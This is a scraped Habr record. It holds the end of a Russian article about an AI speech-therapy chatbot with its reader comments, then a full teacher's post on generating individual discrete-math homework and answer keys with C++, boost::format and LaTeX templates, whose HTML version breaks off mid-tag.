упростим задачу моделирования – алгоритм быстрее отберет ряд наиболее важных переменных, представляющих наличие дефекта.</p><p>Второй шаг – провести сегментацию каждого сэмпла. На текущем этапе хорошо себя показала функция onset_detection, которая разбивает каждый сэмпл на ряд подсэмплов, по которым мы считаем статистику и которая агрегируется обратно до уровня сэмпла. Средний balanced_accuracy_score, посчитанный на всех тасках показал оценку 0.80, что достаточно неплохо.</p><p>Хорошей идеей показалось провести кластеризацию подсэмплов для каждого таска, с целью выявления одинаковых, и учиться только на них. В качестве теста были опробованы различные алгоритмы – от DTW до обычных кластеризаций на агрегированных статистиках и метода Audio Fingerprinting. Первый и последний метод оказались достаточно любопытными, хоть и работают не без ошибок, но, скорее всего, мы продолжим работу с ними.</p><h3>Как мы реализовали это в production</h3><h4>Технологический стэк</h4><ul><li><p>Предобученная модель и ее интерфейс в Python;</p></li><li><p>Kafka – брокер сообщений;</p></li><li><p>Django для кабинета специалиста.</p></li></ul><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/c12/f7e/f06/c12f7ef06b96ebd5b35404d2fe82c33e.png" width="1486" height="1124" data-src="https://habrastorage.org/getpro/habr/upload_files/c12/f7e/f06/c12f7ef06b96ebd5b35404d2fe82c33e.png"/><figcaption></figcaption></figure><p>Как только пользователь записал и отправил аудиозапись, наша модель приступает к обработке, и через пару секунд результаты уже лежат в БД. В момент, когда логопед будет проверять анкету пользователя, подсказки от нашей модели уже будут у него перед глазами.</p><p>Классический подход масштабируемый под трафик. Мы решили, что модели будут меняться, и захочется прогнать все аудиозаписи уже с помощью новой модели: для этого предусмотрели специальный функционал, который это осуществляет. Объемы на данном этапе позволяют это, а в случае невероятного роста количества сообщений, мы сможем ограничиться лишь записями, например, за последний год.</p><h3>Что получилось</h3><p>Если раньше логопед слушал каждую аудиозапись (а их, как мы писали выше, ~10 на каждого ребенка) по несколько раз, то сейчас логопед обращает пристальное внимание лишь на аудиозаписи которые были «подсвечены» нашей моделью, остальное – в пределах случайной проверки. В сравнении с тем, как были устроены процессы ранее, логопед экономит очень много времени. Модель сразу подсказывает, что с данным аудио все в порядке. На усмотрение специалиста можно на них не обращать внимания, а сразу перейти к аудиозаписям в которых у детей все таки появляются трудности с произношением.</p><p>Да, наша модель еще не совершенна, и есть риск ошибки, но, во-первых, риски не так велики – модель точно определяет дефект на 80% записей. Во-вторых, мы активно работаем над их минимизацией: от выборочных проверок до регулярного дообучения моделей на новых данных.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/98e/ad7/8b7/98ead78b72bdc321023b6b1ee30fe70d.png" width="1712" height="1024" data-src="https://habrastorage.org/getpro/habr/upload_files/98e/ad7/8b7/98ead78b72bdc321023b6b1ee30fe70d.png"/><figcaption></figcaption></figure><p>В дальнейшем планируется полный переход от модели human-in-the-loop, когда необходимо участие человека в диагностике, к полной автоматизации процесса благодаря дообученной модели. </p></div>
Дмитрий Пухов (puhoshville)
null
null
<p>«Шла Саша по шоссе», «Скажи: рррррыба», «Кукушка кукушонку...» – знаете, да, эти фразы, травмировавшие нас всех в детстве? Это был какой-то бесконечный эксперимент родителей с неоформленным желаемым результатом и главное – страхами, что их ребенок растет с дефектом речи.&nbsp;</p><p>Привет! Меня зовут Дима Пухов, я технический директор в Cleverbots. Хочу рассказать, как мы учили чат-бот распознавать дефекты речи и добились 80% точности в диагнозах ИИ-логопеда.</p>
«Шла Саша по шоссе», «Скажи: рррррыба», «Кукушка кукушонку...» – знаете, да, эти фразы, травмировавшие нас всех в детстве? Это был какой-то бесконечный эксперимент родителей с неоформленным желаемым результатом и главное – страхами, что их ребенок растет с дефектом речи. Привет! Меня зовут Дима Пухов, я технический директор в Cleverbots. Хочу рассказать, как мы учили чат-бот распознавать дефекты речи и добились 80% точности в диагнозах ИИ-логопеда.
article
1,619,780,652
{ "commentsCount": 7, "favoritesCount": 17, "readingCount": 2325, "score": 4, "votesCount": 4, "votesCountPlus": 4, "votesCountMinus": 0 }
[]
[ "machine_learning", "artificial_intelligence" ]
[ "develop", "popsci" ]
[ "voice", "голосовые сервисы", "машинное" ]
6
null
null
{ "id": [ 22985448, 22987356, 22987912, 22996762, 22996782, 23003956, 23009864 ], "parent_id": [ null, null, null, 22987356, 22987912, 22996782, 23003956 ], "level": [ 0, 0, 0, 1, 1, 2, 3 ], "time_published": [ 1619797893, 1619859125, 1619869798, 1620118584, 1620118845, 1620240579, 1620371969 ], "score": [ 0, 0, 0, 0, 1, 0, 0 ], "votes": [ 0, 0, 0, 0, 1, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Будущее голосового ввода: надиктовываешь текст в телефон, а он в ответ — \"иди к логопеду, каrтавый\".</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Действительно хорошая работа. У меня самого присутствуют дефекты речи в виде быстрого произношения и редкого заикания. это сводит на нет пользование в быту всякими алисами и т.п.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Но это не взлетело… Текст, который мы получали, почти никогда не соответствовал тексту задания, которое выполнял пользователь. Даже в тех случаях, когда пользователь все очень четко произносил, мы чаще всего получали не то, что ожидали. </blockquote><br/>\r\nИнтересны подробности… Не взлетело из-за детских голосов, или по каким-то другим причинам? Был бы благодарен за пояснения.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">К сожалению, вопрос очень актуальный – доступность современных достижений человечества для всех. Но точно знаю, что проблема распознавания голоса с дефектами речи решается разными институтами и компаниями, уверен долго не заставят себя технологии ждать)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Думаю здесь есть целый ряд причин:<br/>\r\n — детские голоса, в обучающих выборках они присутствуют в меньшей степени;<br/>\r\n — не типичность фраз, набор слов в данной последовательности (фразы) в реальной речи встречаются очень редко;<br/>\r\n — не идеальность условий – дети постоянно отвлекаются, говорят в разные стороны, что по-идеи можно нивелировать за счет более хитрой предварительной обработки, но точно не получится избавиться от эффекта полностью</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ага, спасибо. А можете дать ссылку на этот бот?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"https://pro-mozg.com/\" rel=\"nofollow noopener noreferrer\">pro-mozg.com</a> <br/>\r\n– виджет внизу страницы</div>" ], "message_markdown": [ "Будущее голосового ввода: надиктовываешь текст в телефон, а он в ответ — \"иди к логопеду, каrтавый\".", "Действительно хорошая работа. У меня самого присутствуют дефекты речи в виде быстрого произношения и редкого заикания. это сводит на нет пользование в быту всякими алисами и т.п.", "> Но это не взлетело... Текст, который мы получали, почти никогда не соответствовал тексту задания, которое выполнял пользователь. Даже в тех случаях, когда пользователь все очень четко произносил, мы чаще всего получали не то, что ожидали.\nИнтересны подробности... Не взлетело из-за детских голосов, или по каким-то другим причинам? Был бы благодарен за пояснения.", "К сожалению, вопрос очень актуальный – доступность современных достижений человечества для всех. Но точно знаю, что проблема распознавания голоса с дефектами речи решается разными институтами и компаниями, уверен долго не заставят себя технологии ждать)", "Думаю здесь есть целый ряд причин:\n— детские голоса, в обучающих выборках они присутствуют в меньшей степени;\n— не типичность фраз, набор слов в данной последовательности (фразы) в реальной речи встречаются очень редко;\n— не идеальность условий – дети постоянно отвлекаются, говорят в разные стороны, что по-идеи можно нивелировать за счет более хитрой предварительной обработки, но точно не получится избавиться от эффекта полностью", "Ага, спасибо. А можете дать ссылку на этот бот?", "pro-mozg.com\n– виджет внизу страницы" ], "author": [ "Renat Nasyrov (pehat)", "Lirix_vladimir", "Dmitry Oganezov (DmitryO)", "Дмитрий Пухов (puhoshville)", "Дмитрий Пухов (puhoshville)", "Dmitry Oganezov (DmitryO)", "Дмитрий Пухов (puhoshville)" ], "children": [ [], [ 22996762 ], [ 22996782 ], [], [ 23003956 ], [ 23009864 ], [] ] }
171,279
ru
https://habr.com/ru/post/171279/
Дискретная математика для первокурсников: опыт преподавателя
Сегодня у меня необычный текст, совершенно не связанный с машинным обучением (для новых читателей: этот текст – часть блога компании Surfingbird, в котором я в течение последнего года рассказывал о разных аппаратах машинного обучения в приложении к рекомендательным системам). В этом посте математической части практически не будет, а будет описание очень простой программки, которую я написал для своих студентов. Вряд ли кто-то узнает для себя из этого поста много содержательно нового, но мне кажется, что некоторую ценность представляет сама идея – многие люди просто не задумываются о том, что «и так можно». Итак... #### Постановка задачи В этом семестре у меня началась несколько непривычная деятельность: я преподаю дискретную математику для первокурсников в петербургском филиале Высшей Школы Экономики; преподаю я давно, но, кажется, раньше никогда у меня не было студентов младше четвёртого-пятого курса. По ссылке можно найти краткое содержание курса, да и то неполное (курс ещё идёт), но речь не совсем об этом. Думаю, большинство обитателей хабра хотя бы приблизительно помнят, что такое «дискретная математика для первокурсников»: пропозициональная логика, конъюнктивные и дизъюнктивные нормальные формы, базисы булевских функций, бинарные отношения, частичные порядки... В общем, ничего концептуально сложного, но это всё вещи, которыми надо овладеть очень прочно, на них держится любое математическое образование, и необходимость осознанно задумываться о них быстро станет непозволительной роскошью. Поэтому нужно много практических примеров и заданий, чтобы «набить руку». В качестве одной из форм отчётности я выбрал «большое домашнее задание»: несколько как раз таких практических примеров, которые надо решать. У такой формы много плюсов: студенты работают в удобном им темпе, я тоже проверять могу сколько нужно, всё в письменном виде происходит, что всегда удобно. Но есть и минусы; главный минус прост – трудно сделать и проверить пятьдесят вариантов на пятьдесят студентов (на потоке их примерно столько и есть). А если дать один вариант на большую группу, понятно, что на выходе получишь красиво переписанные правильные ответы, особенно учитывая, что в такой базовой дискретной математике «ход решения» нередко просто отсутствует (как построить СДНФ – ну как, посмотреть на таблицу истинности да записать...). Чтобы обойти эту проблему, я решил написать простую программку, которая будет генерировать индивидуальное домашнее задание для каждого студента случайным образом. Идея чрезвычайно простая, но почему-то ни в свою бытность студентом, ни в более позднем преподавательском опыте я её ни разу не встречал – собственно, поэтому и пишу этот пост. Я приведу минимальный работающий пример, а потом покажу, что у меня в результате получилось. #### Шаблоны в .tex и boost::format Базовая технология понятна – нужно сделать LaTeX-заготовку, в которую вставлять конкретные задания для каждого студента. Совершенно всё равно, на каком языке это делать, мне исторически привычнее писать небольшие программки на C++, поэтому я и тут буду его использовать. Самый простой способ сделать это в C++, который я знаю, – это boost::format: достаточно сделать заготовки с плейсхолдерами вроде %1%, %2%, и потом можно вставлять туда что угодно (у boost::format есть и другие возможности, но нам они сейчас не понадобятся). Итак, делаем шаблоны. Сначала общий шаблон «абстрактного LaTeX-документа»: Немножко TeX'а [code] \documentclass[a4paper]{article} \usepackage[utf8]{inputenc} \usepackage{amsthm,amsmath,amsfonts, amssymb} \usepackage[english,russian]{babel} \usepackage{concrete} \usepackage{enumerate} \usepackage{euler} \usepackage{fullpage} \pagestyle{empty} \selectlanguage{russian} \begin{document} \selectlanguage{russian} %1% \end{document} [/code] Потом конкретный шаблон собственно задания – его мы будем подставлять вместо %1%. Я здесь, как и обещал, привожу минимальный пример. Мы будем генерировать только одну задачку: по заданной булевской формуле перевести её в несколько других форм. Немножко TeX'а [code] Дискретная математика \hfill %1% весна $2013$ \hfill группа %2% \section*{Домашнее задание} \begin{enumerate} \item Для формулы пропозициональной логики $$ \varphi = %3%: $$ \begin{enumerate}[(i)] \item постройте таблицу истинности; \item переведите $\varphi$ в совершенную конъюнктивную и совершенную дизъюнктивную нормальные формы; \item выразите $\varphi$ в виде полинома Жегалкина; \item $[\ast]$ выразите $\varphi$ при помощи штриха Шеффера $x\mid y = \lnot(x\land y)$. \end{enumerate} \pagebreak [/code] И теперь нам просто нужно сгенерировать, чем заполнить %3% (вместо %1% и %2% будут подставляться имя студента и номер группы). Для этого нужно научиться генерировать формулы. Сразу предупреждаю, что я плохой программист, и код ниже наверняка напоминает спагетти – в принципе, он работает, если кто-нибудь посоветует изящный рефакторинг, скажу спасибо. Сначала надо завести структуру, которая будет хранить разные связки и типы узлов в формуле; для нашего минимального примера это лишнее, но мне надо было сделать ещё задачку про формулы алгебры множеств (объединения, пересечения да симметрические разности), и код про деревья формул хотелось переиспользовать. Поэтому вот глобальный объект, хранящий основную информацию: Код на C++ [code] class Globals { public: size_t TypesNo; size_t VarType; vector<string> TypesLatex; vector<size_t> TypesArity; boost::random::uniform_int_distribution<> RandomNodeType; boost::random::uniform_int_distribution<> RandomNodeNoVar; boost::random::uniform_int_distribution<> RandomNodeBinary; size_t VarsNo; vector<string> VarNames; boost::random::uniform_int_distribution<> RandomVarType; size_t current_varnum; Globals(size_t types_num, vector<string> types_latex, vector<size_t> types_arity, size_t var_num, vector<string> var_names) : TypesNo(types_num), VarType(types_num - 1), TypesLatex(types_latex), TypesArity(types_arity), RandomNodeType(0, types_num - 1), RandomNodeNoVar(0, types_num - 2), RandomNodeBinary(0, types_num - 3), VarsNo(var_num), VarNames(var_names), RandomVarType(0, var_num - 1), current_varnum(var_num - 1) {} size_t get_next_var() { current_varnum++; if (current_varnum == VarsNo) current_varnum = 0; return current_varnum; } }; Globals GBoolean(7, { "\\land", "\\lor", "\\rightarrow", "\\oplus", "\\equiv", "\\lnot", "\\var" }, { 2, 2, 2, 2, 2, 1, 0 }, 4, { "x", "y", "z", "t" }); [/code] Здесь мы создали «язык булевских формул», у которого пять бинарных связок (конъюнкция, дизъюнкция, импликация, XOR и эквивалентность) и одна унарная (отрицание). Седьмой тип узла – это переменная, у неё арность 0. В домашнем задании я ограничился формулами из четырёх переменных: меньше маловато, а больше становится слишком громоздко. Сюда же удобно записать генераторы случайного типа узла, случайной переменной, случайной бинарной связки (я пользовался распределениями из boost::random – опять же, очень удобно; хоть там и не так уж много чего реализовано, но нам сейчас много и не надо). Такую структуру легко будет переиспользовать для формул алгебры множеств (это просто для сравнения, дальше GSet использоваться не будет): Код на C++ [code] Globals GSet(5, { "\\cap", "\\cup", "\\triangle", "\\overline", "\\var" }, { 2, 2, 2, 1, 0 }, 3, { "A", "B", "C" }); [/code] Теперь создаём класс формулы. Булевская формула – это дерево, листьями которого служат переменные, а внутренними вершинами – логические связки. Мы хотим уметь генерировать формулы заданной глубины, поэтому в конструктор будем передавать, не пора ли сделать этот узел листом или, наоборот, обязательно бинарной связкой. Если нужно создать случайный узел, будем передавать тип g->TypesNo. Если узел оказался листом, ему нужно сгенерировать переменную (чтобы с большой вероятностью переменные попали все, мы просто берём их по кругу – формулы, конечно, не совсем случайные получаются, но это не страшно). Код на C++ [code] class BNode { public: Globals *glob; size_t type; size_t varnum; BNode * left; BNode * right; BNode(Globals *g, size_t t, bool must_be_leaf = false, bool must_not_be_leaf = false, bool must_be_binary = false) : glob(g), type(t), left(NULL), right(NULL) { if (t == g->TypesNo) { // this means we want a random node type = must_be_leaf ? g->VarType : (must_be_binary ? g->RandomNodeBinary(gen) : (must_not_be_leaf ? g->RandomNodeNoVar(gen) : g->RandomNodeType(gen) )); } varnum = (type == g->VarType) ? g->get_next_var() : 0; } ~BNode() { if (left != NULL) delete left; if (right != NULL) delete right; } }; [/code] Теперь начинаем заполнять класс BNode. Главное для нас – чтобы формула успешно печаталась в LaTeX: Код на C++ [code] string TypeString() const { if (type == glob->VarType) return glob->VarNames[varnum]; return glob->TypesLatex[type]; } string ToString() const { if (glob->TypesArity[type] == 0) return TypeString(); if (glob->TypesArity[type] == 1) return TypeString() + "{" + left->ToString() + "}"; return "(" + left->ToString() + " " + TypeString() + " " + right->ToString() + ")"; } [/code] Кроме того, нужно будет уметь подсчитывать значение формулы на заданном наборе переменных: Код на C++ [code] bool get_truth_value(const vector<bool> & vals) { switch(type) { case 0: return left->get_truth_value(vals) && right->get_truth_value(vals); break; case 1: return left->get_truth_value(vals) || right->get_truth_value(vals); break; case 2: return (!left->get_truth_value(vals)) || right->get_truth_value(vals); break; case 3: return left->get_truth_value(vals) != right->get_truth_value(vals); break; case 4: return left->get_truth_value(vals) == right->get_truth_value(vals); break; case 5: return !left->get_truth_value(vals); break; case 6: return vals[varnum]; break; default: return false; break; } } [/code] Оставим пока класс BNode (мы к нему ещё вернёмся); теперь мы можем написать генератор случайной формулы. Будем генерировать формулу с заданной минимальной и максимальной глубиной (для поддержки минимальной глубины мы добавляли раньше в конструктор поле must_not_be_leaf): Код на C++ [code] BNode *generate_tree(Globals & g, size_t min_depth, size_t max_depth, bool must_be_binary = false) { if (max_depth == 0) return NULL; BNode *node = new BNode(&g, g.TypesNo, max_depth == 1, min_depth > 0, must_be_binary); if (g.TypesArity[node->type] == 1) { node->left = generate_tree(g, min_depth, max_depth, true); } if (g.TypesArity[node->type] == 2) { node->left = generate_tree(g, min_depth - 1, max_depth - 1); node->right = generate_tree(g, min_depth - 1, max_depth - 1); } return node; } [/code] Тут всё самоочевидно; единственное решение, которое я здесь принял – сделал унарные функции (т.е. отрицания) «бесплатными», не считающимися для глубины, иначе формулы получались бы слишком простыми. Кроме того, в булевской формуле логично запретить ставить два отрицания подряд, это бессмысленно; для этого нам и нужен был флаг must_be_binary в конструкторе. И можно писать обработчик файла со списком студентов: Код на C++ [code] void process_one_student_file_boolean(string dir, string fname, boost::format & general_tmpl, boost::format & problem_tmpl, boost::format & solution_tmpl) { BNode *node_bool; ostringstream s; vector<string> students = readAllLinesFromFile(dir + "/" + fname + ".txt"); cout << "\tГруппа " << fname << endl; for (size_t i=0; i<students.size(); ++i) { if (students[i].size() == 0) continue; // empty line cout << "\t\t[ " << students[i] << " ]" << endl; node_bool = generate_tree(GBoolean, 2, 4); string group_string = "$" + fname + "$"; s << problem_tmpl % students[i] % group_string % node_bool->ToString(); delete node_bool; } ofstream ofs(dir + "/" + fname + ".tex"); ofs << general_tmpl % s.str() << endl; ofs.close(); } [/code] а затем и main, который читает файлы с форматами и процессит файлы со списками студентов: Код на C++ [code] string students_dir = "2013"; vector<string> students_files = { "BoTR" }; int main(int argc, char *argv[]) { boost::format boolean_tpml( read_file_as_string("boolean_problem_minimal.tex") ); boost::format general_tmpl( read_file_as_string("general_template.tex") ); for (size_t i = 0; i < students_files.size(); ++i) { process_one_student_file_boolean(students_dir, students_files[i], general_tmpl, boolean_tpml); } return 0; } [/code] Но постойте, слышу я голос внимательного читателя. Будет же ерунда получаться – небось, добрая половина так сгенерированных случайных формул окажутся тривиальными! Что верно, то верно – про половину не знаю, но даже одна случайно сгенерированная формула вида \varphi = x изрядно подмочит репутацию нашего метода. Давайте мы научимся это проверять. Для этого мы просто подсчитаем, сколько в формуле встречается связок и разных переменных, и потребуем, чтобы переменные встречались все, а связки – хотя бы две разные. Добавляем в BNode обход формулы: Код на C++ [code] void depth_first(function<void (const BNode * n)> do_with_node) { do_with_node(this); if (left != NULL) left->depth_first(do_with_node); if (right != NULL) right->depth_first(do_with_node); } [/code] и вписываем проверку формулы на разумность: Код на C++ [code] bool sanity_check(BNode * node) { vector<bool> vars_present(node->glob->VarsNo, false); vector<bool> connectors_present(node->glob->TypesNo, false); node->depth_first([&] (const BNode * n) { if (n->type == n->glob->VarType) { vars_present[ n->varnum ] = true; } else { connectors_present[ n->type ] = true; } }); return all_of( vars_present.begin(), vars_present.end(), [](bool b) {return b;} ) && (accumulate(connectors_present.begin(), connectors_present.end(), 0) > 2); } [/code] Можно ещё захотеть проверить, не является ли формула, скажем, всегда истинной, но я этого сознательно решил не делать – если сложная на вид формула вдруг окажется тождественно истинной, тем интереснее будет это задание для студента. А очевидные подформулы типа «x или не x» в нашем генераторе не будут получаться, потому что переменные перебираются по очереди, а не случайно. Запуская получившуюся программку на файле со списком студентов, получаем .tex файл со вполне адекватно оформленными заданиями (вот пример pdf, скомпилированного из такого файла). #### Решения Скептически настроенный читатель на этом месте разумно возразит: ну конечно, ты можешь сгенерировать over 9000 разных заданий, но ведь ты замучаешься их потом проверять! И действительно, проверять у каждого студента таблицу истинности – занятие для очень сильных духом людей, к которым я себя не отношу. Поэтому нашу программку надо будет модифицировать так, чтобы она могла облегчить и процесс проверки. Совсем автоматизировать его не получится (студенты всё равно будут сдавать работы, написанные в свободном формате от руки), поэтому достаточно будет просто сделать заранее самую противную часть этой работы. Заводим другой LaTeX-шаблон для документа с ответами: LaTeX-шаблон документа с ответами [code] {\footnotesize \subsection*{%1%, группа %2%} Таблица истинности для формулы $%3%$: $$ %4% $$ } \pagebreak [/code] Я, опять же, ограничусь минимальным примером – давайте просто выведем таблицу истинности. Для этого нужно пройтись по всем возможным значениям переменных, посчитать истинностное значение формулы и красиво оформить результат в TeX'е. Добавляем два метода в класс BNode: Код на C++ [code] bool increment_counter(vector<bool> & v) { for (int i=v.size()-1; i>=0; --i) { if (!v[i]) { v[i] = true; for (size_t j=i+1; j<v.size(); ++j) v[j] = false; return true; } } return false; } string latex_truthtable() { ostringstream os; vector<bool> counter(glob->VarsNo, false); os << "\\begin{array}{"; for(size_t i=0; i<counter.size(); ++i) os << 'c'; os << "|c}\n"; for(size_t i=0; i<counter.size(); ++i) os << glob->VarNames[i] << " & "; os << " \\\\\\hline\n"; do { for(size_t i=0; i<counter.size(); ++i) os << counter[i] << " & "; os << get_truth_value(counter) << "\\\\\n"; } while (increment_counter(counter)); os << "\\end{array}\n"; return os.str(); } [/code] а затем добавляем это в process_one_student_file_boolean: Код на C++ [code] void process_one_student_file_boolean(string dir, string fname, boost::format & general_tmpl, boost::format & problem_tmpl, boost::format & solution_tmpl) { BNode *node_bool; ostringstream s, ssolution; vector<string> students = readAllLinesFromFile(dir + "/" + fname + ".txt"); cout << "\tГруппа " << fname << endl; for (size_t i=0; i<students.size(); ++i) { if (students[i].size() == 0) continue; // empty line cout << "\t\t[ " << students[i] << " ]" << endl; do { node_bool = generate_tree(GBoolean, 2, 4); } while (!sanity_check(node_bool)); string group_string = "$" + fname + "$"; s << problem_tmpl % students[i] % group_string % node_bool->ToString(); ssolution << solution_tmpl % students[i] % group_string % node_bool->ToString() % node_bool->latex_truthtable(); delete node_bool; } ofstream ofs; open_for_writing(dir + "/" + fname + ".tex", ofs); ofs << general_tmpl % s.str() << endl; ofs.close(); open_for_writing(dir + "/" + fname + ".sol.tex", ofs); ofs << general_tmpl % ssolution.str() << endl; ofs.close(); } string students_dir = "2013"; vector<string> students_files = { "BoTR" }; int main(int argc, char *argv[]) { boost::format boolean_tpml( read_file_as_string("boolean_problem_minimal.tex") ); boost::format solution_tpml( read_file_as_string("boolean_solution_minimal.tex") ); boost::format general_tmpl( read_file_as_string("general_template.tex") ); for (size_t i = 0; i < students_files.size(); ++i) { process_one_student_file_boolean(students_dir, students_files[i], general_tmpl, boolean_tpml, solution_tpml); } return 0; } [/code] В результате в пару к файлу заданий (пример) получается соответствующий ему файл решений (тот же пример, решения), по которому проверять становится гораздо проще. #### Заключение И вот результат – полдня работы, а на выходе сколько угодно заданий с готовыми ответами, всё красиво оформлено и готово к выдаче студентам. Если интересно, каким получилось реальное задание, вот пример окончательного результата. Файл с ответами выкладывать не буду, чтобы лишний раз не подсказывать студентам – они сейчас как раз решают это домашнее задание. Думаю, если моё преподавание в ГУ-ВШЭ будет продолжаться, эта программка мне ещё не раз послужит; ближайший шанс её применить – билеты для письменного экзамена в тех же группах. P.S. Когда я готовил статью на хабр, я нашёл небольшой баг в своём генераторе формул; но исправлять не стал. Упражнение для внимательного читателя: какие формулы, в которых в принципе ничего плохого нету, мой генератор никогда не сможет породить? (помимо замечания о переборе переменных по порядку, которое я уже делал выше)
<div xmlns="http://www.w3.org/1999/xhtml">Сегодня у меня необычный текст, совершенно не связанный с машинным обучением (для новых читателей: этот текст – часть <a href="http://habrahabr.ru/company/surfingbird/">блога компании Surfingbird</a>, в котором я в течение последнего года рассказывал о разных аппаратах машинного обучения в приложении к рекомендательным системам). В этом посте математической части практически не будет, а будет описание очень простой программки, которую я написал для своих студентов. Вряд ли кто-то узнает для себя из этого поста много содержательно нового, но мне кажется, что некоторую ценность представляет сама идея – многие люди просто не задумываются о том, что «и так можно». Итак…<br/> <br/> <a name="habracut"></a><br/> <br/> <h4>Постановка задачи</h4><br/> <br/> В этом семестре у меня началась несколько непривычная деятельность: я преподаю <a href="http://logic.pdmi.ras.ru/~sergey/index.php?page=dmhse13">дискретную математику для первокурсников</a> в петербургском филиале Высшей Школы Экономики; преподаю я давно, но, кажется, раньше никогда у меня не было студентов младше четвёртого-пятого курса. По ссылке можно найти краткое содержание курса, да и то неполное (курс ещё идёт), но речь не совсем об этом.<br/> <br/> Думаю, большинство обитателей хабра хотя бы приблизительно помнят, что такое «дискретная математика для первокурсников»: пропозициональная логика, конъюнктивные и дизъюнктивные нормальные формы, базисы булевских функций, бинарные отношения, частичные порядки… В общем, ничего концептуально сложного, но это всё вещи, которыми надо овладеть очень прочно, на них держится любое математическое образование, и необходимость осознанно задумываться о них быстро станет непозволительной роскошью. Поэтому нужно много практических примеров и заданий, чтобы «набить руку».<br/> <br/> В качестве одной из форм отчётности я выбрал «большое домашнее задание»: несколько как раз таких практических примеров, которые надо решать. У такой формы много плюсов: студенты работают в удобном им темпе, я тоже проверять могу сколько нужно, всё в письменном виде происходит, что всегда удобно. Но есть и минусы; главный минус прост – трудно сделать и проверить пятьдесят вариантов на пятьдесят студентов (на потоке их примерно столько и есть). А если дать один вариант на большую группу, понятно, что на выходе получишь красиво переписанные правильные ответы, особенно учитывая, что в такой базовой дискретной математике «ход решения» нередко просто отсутствует (как построить СДНФ – ну как, посмотреть на таблицу истинности да записать...).<br/> <br/> Чтобы обойти эту проблему, я решил написать простую программку, которая будет генерировать индивидуальное домашнее задание для каждого студента случайным образом. Идея чрезвычайно простая, но почему-то ни в свою бытность студентом, ни в более позднем преподавательском опыте я её ни разу не встречал – собственно, поэтому и пишу этот пост. Я приведу минимальный работающий пример, а потом покажу, что у меня в результате получилось.<br/> <br/> <h4>Шаблоны в .tex и boost::format</h4><br/> <br/> Базовая технология понятна – нужно сделать LaTeX-заготовку, в которую вставлять конкретные задания для каждого студента. Совершенно всё равно, на каком языке это делать, мне исторически привычнее писать небольшие программки на C++, поэтому я и тут буду его использовать. Самый простой способ сделать это в C++, который я знаю, – это <a href="http://www.boost.org/doc/libs/1_53_0/libs/format/">boost::format</a>: достаточно сделать заготовки с плейсхолдерами вроде %1%, %2%, и потом можно вставлять туда что угодно (у boost::format есть и другие возможности, но нам они сейчас не понадобятся).<br/> <br/> Итак, делаем шаблоны. Сначала общий шаблон «абстрактного LaTeX-документа»:<br/> <br/> <div class="spoiler"><b class="spoiler_title">Немножко TeX'а</b><div class="spoiler_text"><pre><code class="tex">\documentclass[a4paper]{article} \usepackage[utf8]{inputenc} \usepackage{amsthm,amsmath,amsfonts, amssymb} \usepackage[english,russian]{babel} \usepackage{concrete} \usepackage{enumerate} \usepackage{euler} \usepackage{fullpage} \pagestyle{empty} \selectlanguage{russian} \begin{document} \selectlanguage{russian} %1% \end{document} </code></pre></div></div><br/> <br/> Потом конкретный шаблон собственно задания – его мы будем подставлять вместо %1%. Я здесь, как и обещал, привожу минимальный пример. Мы будем генерировать только одну задачку: по заданной булевской формуле перевести её в несколько других форм.<br/> <br/> <div class="spoiler"><b class="spoiler_title">Немножко TeX'а</b><div class="spoiler_text"><pre><code class="tex">Дискретная математика \hfill %1% весна $2013$ \hfill группа %2% \section*{Домашнее задание} \begin{enumerate} \item Для формулы пропозициональной логики $$ \varphi = %3%: $$ \begin{enumerate}[(i)] \item постройте таблицу истинности; \item переведите $\varphi$ в совершенную конъюнктивную и совершенную дизъюнктивную нормальные формы; \item выразите $\varphi$ в виде полинома Жегалкина; \item $[\ast]$ выразите $\varphi$ при помощи штриха Шеффера $x\mid y = \lnot(x\land y)$. \end{enumerate} \pagebreak </code></pre></div></div><br/> <br/> И теперь нам просто нужно сгенерировать, чем заполнить %3% (вместо %1% и %2% будут подставляться имя студента и номер группы). Для этого нужно научиться генерировать формулы. Сразу предупреждаю, что я плохой программист, и код ниже наверняка напоминает спагетти – в принципе, он работает, если кто-нибудь посоветует изящный рефакторинг, скажу спасибо.<br/> <br/> Сначала надо завести структуру, которая будет хранить разные связки и типы узлов в формуле; для нашего минимального примера это лишнее, но мне надо было сделать ещё задачку про формулы алгебры множеств (объединения, пересечения да симметрические разности), и код про деревья формул хотелось переиспользовать. Поэтому вот глобальный объект, хранящий основную информацию:<br/> <br/> <div class="spoiler"><b class="spoiler_title">Код на C++</b><div class="spoiler_text"><pre><code class="cpp">class Globals { public: size_t TypesNo; size_t VarType; vector&lt;string> TypesLatex; vector&lt;size_t> TypesArity; boost::random::uniform_int_distribution&lt;> RandomNodeType; boost::random::uniform_int_distribution&lt;> RandomNodeNoVar; boost::random::uniform_int_distribution&lt;> RandomNodeBinary; size_t VarsNo; vector&lt;string> VarNames; boost::random::uniform_int_distribution&lt;> RandomVarType; size_t current_varnum; Globals(size_t types_num, vector&lt;string> types_latex, vector&lt;size_t> types_arity, size_t var_num, vector&lt;string> var_names) : TypesNo(types_num), VarType(types_num - 1), TypesLatex(types_latex), TypesArity(types_arity), RandomNodeType(0, types_num - 1), RandomNodeNoVar(0, types_num - 2), RandomNodeBinary(0, types_num - 3), VarsNo(var_num), VarNames(var_names), RandomVarType(0, var_num - 1), current_varnum(var_num - 1) {} size_t get_next_var() { current_varnum++; if (current_varnum == VarsNo) current_varnum = 0; return current_varnum; } }; Globals GBoolean(7, { "\\land", "\\lor", "\\rightarrow", "\\oplus", "\\equiv", "\\lnot", "\\var" }, { 2, 2, 2, 2, 2, 1, 0 }, 4, { "x", "y", "z", "t" }); </code></pre></div></div><br/> <br/> Здесь мы создали «язык булевских формул», у которого пять бинарных связок (конъюнкция, дизъюнкция, импликация, XOR и эквивалентность) и одна унарная (отрицание). Седьмой тип узла – это переменная, у неё арность 0. В домашнем задании я ограничился формулами из четырёх переменных: меньше маловато, а больше становится слишком громоздко. Сюда же удобно записать генераторы случайного типа узла, случайной переменной, случайной бинарной связки (я пользовался распределениями из <a 